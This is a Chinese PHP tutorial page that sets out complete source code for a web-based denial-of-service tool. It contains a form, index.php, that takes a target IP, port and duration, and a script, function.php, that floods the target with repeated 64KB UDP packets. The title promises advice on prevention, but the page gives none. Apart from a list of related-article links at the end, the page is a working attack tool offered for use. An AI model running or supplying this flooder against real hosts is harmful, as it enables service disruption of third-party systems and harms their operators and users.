php DOS攻击实现代码(附如何防范)


Posted in PHP onMay 29, 2012

index.php

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> 
<meta name="author" content=""> 
<title>PHP DoS, Coded by EXE</title> 
</head> 
<!-- PHP DOS, coded by EXE --> 
<style type="text/css"> 
<!-- 
body { 
font-family: Arial, Helvetica, sans-serif; 
font-size: 12px; 
font-style: normal; 
line-height: normal; 
color: #FFFFFF; 
background-color: #000000; 
} 
--> 
</style> 
<!-- PHP DOS, coded by EXE --> 
<body> 
<center><br><br> 
<img src="main.jpg"><br> 
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> 
<form name="input" action="function.php" method="post"> 
IP: 
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> 
    Time: 
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> 
    Port: 
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> 
<br><br> 
<input type="submit" value=" Start the Attack---> "> 
<br><br> 
<center> 
After initiating the DoS attack, please wait while the browser loads. 
</center> 
</form> 
</center> 
<!-- PHP DOS, coded by EXE --> 
</body> 
</html>

function.php
<?php 
//================================================= 
//PHP DOS v1.8 (Possibly Stronger Flood Strength) 
//Coded by EXE 
//================================================= 
$packets = 0; 
$ip = $_POST['ip']; 
$rand = $_POST['port']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_POST['time']; 
$time = time(); 
print "Flooded: $ip on port $rand <br><br>"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= "X"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; 
?>
PHP 相关文章推荐
用PHP 4.2书写安全的脚本
Oct 09 PHP
PHP安全配置
Dec 06 PHP
php json_encode奇怪问题说明
Sep 27 PHP
PHP采集腾讯微博的实现代码
Jan 19 PHP
PHP json格式和js json格式 js跨域调用实现代码
Sep 08 PHP
PHP生成指定长度随机数最简洁的方法
Jul 14 PHP
php中session与cookie的比较
Jan 27 PHP
CentOS下搭建PHP环境与WordPress博客程序的全流程总结
May 07 PHP
PHP登录(ajax提交数据和后台校验)实例分享
Dec 29 PHP
php表单文件iframe异步上传实例讲解
Jul 26 PHP
php 策略模式原理与应用深入理解
Sep 25 PHP
php 使用 __call实现重载功能示例
Nov 18 PHP
PHP fgetcsv 定义和用法(附windows与linux下兼容问题)
May 29 #PHP
PHP中将网页导出为Word文档的代码
May 25 #PHP
php在文件指定行中写入代码的方法
May 23 #PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
You might like
PHP提取数据库内容中的图片地址并循环输出
2010/03/21 PHP
php对大文件进行读取操作的实现代码
2013/01/23 PHP
ThinkPHP3.1的Widget新用法
2014/06/19 PHP
PHP处理大量表单字段的便捷方法
2015/02/07 PHP
PHP导出Excel实例讲解
2016/01/24 PHP
微信公众号OAuth2.0网页授权问题浅析
2017/01/21 PHP
jQuery插件zTree实现获取一级节点数据的方法
2017/03/08 Javascript
Vue中render函数的使用方法
2018/01/31 Javascript
微信小程序实现图片上传放大预览删除代码
2020/06/28 Javascript
vue-cli的工程模板与构建工具详解
2018/09/27 Javascript
微信小程序实现下拉菜单切换效果
2020/03/30 Javascript
VueCli3构建TS项目的方法步骤
2018/11/07 Javascript
详解json串反转义(消除反斜杠)
2019/08/12 Javascript
HTML+JS实现“代码雨”效果源码(黑客帝国文字下落效果)
2020/03/17 Javascript
vue 根据选择的月份动态展示日期对应的星期几
2021/02/06 Vue.js
python实现一次创建多级目录的方法
2015/05/15 Python
Python使用MyQR制作专属动态彩色二维码功能
2019/06/04 Python
opencv-python 读取图像并转换颜色空间实例
2019/12/09 Python
使用python快速实现不同机器间文件夹共享方式
2019/12/22 Python
Python rabbitMQ如何实现生产消费者模式
2020/08/24 Python
在css3中background-clip属性与background-origin属性的用法介绍
2012/11/13 HTML / CSS
html5教程调用绘图api画简单的圆形代码分享
2013/12/04 HTML / CSS
HTML5新增加标签和功能概述
2016/09/05 HTML / CSS
法学毕业生自我鉴定
2014/01/31 职场文书
计算机通信专业推荐信
2014/02/22 职场文书
有多年工作经验的自我评价
2014/03/02 职场文书
超市中秋节促销方案
2014/03/21 职场文书
企业精细化管理实施方案
2014/03/23 职场文书
2014年财务部工作总结
2014/11/11 职场文书
颐和园的导游词
2015/01/30 职场文书
2015年幼儿园中班工作总结
2015/04/25 职场文书
担保贷款承诺书
2015/04/30 职场文书
护士旷工检讨书
2015/08/15 职场文书
蔬果开业典礼发言稿应该怎么写?
2019/09/03 职场文书
redis配置文件中常用配置详解
2021/04/14 Redis
Python中rapidjson参数校验实现
2021/07/25 Python